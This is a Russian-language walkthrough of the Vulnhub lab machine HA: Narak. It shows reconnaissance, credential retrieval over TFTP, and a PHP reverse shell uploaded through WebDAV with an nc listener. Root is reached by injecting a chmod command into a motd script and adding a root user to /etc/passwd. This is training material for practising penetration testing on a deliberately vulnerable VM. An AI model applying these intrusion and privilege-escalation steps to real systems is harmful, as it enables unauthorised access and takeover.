HA: Narak: пошаговое руководство Vulnhub

Дата: 02.10.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности
HA: Narak: пошаговое руководство Vulnhub

В этой статье говорится о том, как получить доступ к уязвимой машине под названием HA: Narak. Читатели узнают, как осуществить захват флага и повысить свои привилегии в чужой системе.

Скачать упомянутую выше лабораторию можно, перейдя по этой ссылке.

Сканирование сети

Чтобы атаковать любую машину, нужно установить ее IP-адрес. Это можно сделать с помощью команды net discover. Чтобы определить IP-адрес, пользователю следует откопать MAC-адрес машины, который может быть получен из файла конфигурации. Таким образом IP-адрес машины и был установлен. Это 192.168.0.136.

HA: Narak: пошаговое руководство Vulnhub

После сканирования net discover пользователю потребуется провести сканирование Nmap, чтобы получить подробную информацию о службах, запущенных на виртуальной машине. Сканирование Nmap показывает, что в приложении запущены 2 службы: SSH (22) и HTTP (80).

nmap -A 192.168.0.136
HA: Narak: пошаговое руководство Vulnhub

Перечисление

Поскольку пользователь уже знает данные службы HTTP, работающей на виртуальной машине, необходимо обратиться к размещенной на ней веб-странице.

http://192.168.0.136
HA: Narak: пошаговое руководство Vulnhub

Это обычная веб-страница с впечатляющими изображениями ада. Поскольку никаких подсказок для дальнейших действий здесь найдено не было, пользователь запускает еще одно перечисление. Время провести Directory Bruteforce. Всего за несколько секунд dirb говорит пользователю о каталоге /webdav.

dirb http://192.168.0.136/
HA: Narak: пошаговое руководство Vulnhub

Пользователь открывает каталог WebDAV в своем веб-браузере, чтобы запустить панель аутентификации. Поскольку у него нет никаких данных, продолжать дальше бессмысленно. Брутфорс, который не принес никакой полезной информации, также не спасает ситуацию. Однако к этому стоит вернуться чуть попозже. Возможно, он еще сыграет свою роль.

HA: Narak: пошаговое руководство Vulnhub

Пользователь не нашел никаких новых каталогов при обычном сканировании dirb. Он попробовал активировать расширение фильтра dirb scan. Он также включил и кучу других расширений и получил новый файл в формате .txt. Обнаружен файл tips.txt. Следует взглянуть на то, что он содержит.

dirb http://192.168.0.136/ -X .txt
HA: Narak: пошаговое руководство Vulnhub

Тут становится понятно, что добраться к Narak можно с помощью creds.txt. Это еще один текстовый файл. Нужно попробовать найти его.

http://192.168.0.136/tips.txt
HA: Narak: пошаговое руководство Vulnhub

Поскольку каталог bruteforce больше не давал пользователю никаких подсказок относительно creds.txt, человек вернулся к сканированию порта. На этот раз он попробовал провести UDP-сканирование. Так пользователь узнал о порте номер 69. Служба запущена на TFP.

nmap -sU -p69 192.168.0.136
HA: Narak: пошаговое руководство Vulnhub

Пользователь получает доступ к сервису TFTP и видит, что там есть creds.txt, о котором говорилось ранее. Он содержит какой-то закодированный текст. Похоже на Base64. Стоит расшифровать его. После расшифровки пользователь обнаружил, что файл содержит учетные данные. Прекрасно!

tftp 192.168.0.136
get creds.txt
echo "eWFtZG9vdDpTd2FyZw==" | base64 -d
HA: Narak: пошаговое руководство Vulnhub

Применение полученной информации

У пользователь есть каталог /webdav для доступа к учетным данным. Он перечислил его и обнаружил, что WebDAV используется для загрузки и выгрузки файлов на сервере Аpache. Быстрый поиск поможет пользователю узнать о том, что этот сервер страдает от уязвимости PUT. Пользователь решает воспользоваться этой уязвимостью и получить Shell машины. Для этого он использовал инструмент Сadaver. После успешного ввода учетных данных пользователь загружает обратный Shell PHP на целевую машину.

cadaver http://192.168.0.136/webdav
put /root/shell.php
HA: Narak: пошаговое руководство Vulnhub

Теперь, когда пользователь успешно загрузил Shell PHP на целевую машину, он создает листенер, нацеленный на порт, который находится в локальной системе. Это поможет ему захватить сеанс, который будет создан после выполнения загруженного файла. В браузере после ввода учетных данных пользователь может увидеть загруженный Shell.

nc -lvp 1234
HA: Narak: пошаговое руководство Vulnhub

Дальнейшие действия

Когда человек нажимает на Shell PHP, полезная нагрузка пользователя начинает выполняться, и он получает свой сеанс на целевой машине. Можно использовать Рython Оne-liner для преобразования Shell PHP в Shell TTY. После получения TTY пользователь будет активно работать над повышением привилегий в сеансе, который он только что запустил. Человек проверяет разрешения SUID и обнаруживает, что существует пользовательский скрипт с именем hell.sh. Нужно взглянуть на него. Он зашифрован. Похоже, что это шифрование brainfuck.

find / -type f -perm -ug=rwx 2>/dev/null
cat /mnt/hell.sh
HA: Narak: пошаговое руководство Vulnhub

Пользователь расшифровывает скрипт и находит слово «chitragupt».

HA: Narak: пошаговое руководство Vulnhub

Прежде чем двигаться дальше, нужно потратить некоторое время на поиски флага пользователя, так как этот флаг будет находиться в одном из домашних каталогов. Пора начать искать всех пользователей, зарегистрированных на этой машине. Есть 3 пользователя по имени inferno, Narak и Yamdoot. Похоже, что Yamdoot является пользователем TFPT. Человек не смог получить доступ к каталогу Narak, что означает, что это пользователь с высокими привилегиями. Пользователь перечислил данные юзера inferno и обнаружил его флаг.

cd /home
ls
cd inferno
ls -la
cat user.txt
HA: Narak: пошаговое руководство Vulnhub

Повышение привилегий

Ранее было замечено, что есть специальные разрешения для файла motd. Это означает, что нужно проложить свой путь к root, используя эскалацию привилегий motd. Поскольку пользователь уже нашел ключевое слово «chitragupt», он использовал его как пароль и вошел в сеанс SSH как пользователь inferno.

Username: inferno
Password: chitragupt

Теперь пользователь знает, что для повышения привилегий, нужно добавить редактор nano в файл motd. Человек использовал команду echo, чтобы осуществить задуманный план. Это четко видно на картинке ниже.

ssh [email protected]
which nano
ls -la /bin/nano
echo "sudo chmod u+s /bin/nano" >> /etc/update-motd.d/00-header
HA: Narak: пошаговое руководство Vulnhub

Пользователь уже знает, что для выполнения файлов motd нужно выйти из текущего сеанса SSH и снова подключиться. После завершения этих действий человек проверяет, есть ли у nano binary теперь привилегии, которые ему необходимы. Он будет использовать nano для редактирования файла /etc/passwd и создаст себе нового пользователя, обладающего правами root.

ssh [email protected]
ls -al /bin/nano
nano /etc/passwd
HA: Narak: пошаговое руководство Vulnhub

Чтобы добавить пользователя, понадобится хэш пароля. Он может быть сгенерирован с помощью команды OpenSSL.

openssl passwd -1 -salt user3 pass123
HA: Narak: пошаговое руководство Vulnhub

Теперь был создан пользователь по имени Jeenali, ему предоставлены привилегии root и добавлен хэш, который пользователь сгенерировал ранее. Это четко видно на картинке ниже.

HA: Narak: пошаговое руководство Vulnhub

Все, что осталось, — это войти в систему как новый пользователь Jeenali и просмотреть флаг root.

tail  -n 3 /etc/passwd
su jeenali
cd /root
ls
cat root.txt
HA: Narak: пошаговое руководство Vulnhub

Автор переведенной статьи: Pavandeep Singh.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *